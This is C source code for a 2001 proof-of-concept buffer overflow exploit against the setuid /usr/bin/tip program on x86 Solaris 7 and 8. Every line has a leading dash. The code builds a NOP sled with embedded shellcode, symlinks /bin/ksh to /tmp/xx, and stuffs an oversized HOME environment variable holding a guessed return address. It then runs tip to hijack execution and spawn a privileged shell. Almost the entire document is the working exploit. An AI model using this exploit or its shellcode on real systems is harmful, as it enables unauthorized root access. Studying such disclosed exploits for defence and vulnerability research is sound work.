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- #include <fcntl.h>
-
- /*
- /usr/bin/tip overflow proof of conecpt.
-
-
- Pablo Sor, Buenos Aires, Argentina 03/2001
- psor@afip.gov.ar
-
- works against x86 solaris 7,8
-
- default offset should work.
-
- */
-
-
- long get_esp() { __asm__("movl %esp,%eax"); }
-
- int main(int ac, char **av)
- {
-
- char shell[]=
- "\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
- "\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
- "\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"
-
- "\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
- "\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
- "\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"
-
- "\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
-
- unsigned long magic = get_esp() + 0x50; /* default offset */
- unsigned char buf[600];
-
- symlink("/bin/ksh","/tmp/xx");
- memset(buf,0x90,600);
- buf[599]=0;
- memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
- memcpy(buf,"HOME=",5);
- memcpy(buf+265,&magic,4);
- putenv(buf);
-
- system("/usr/bin/tip 5");
- unlink("/tmp/xx");
- }
-
-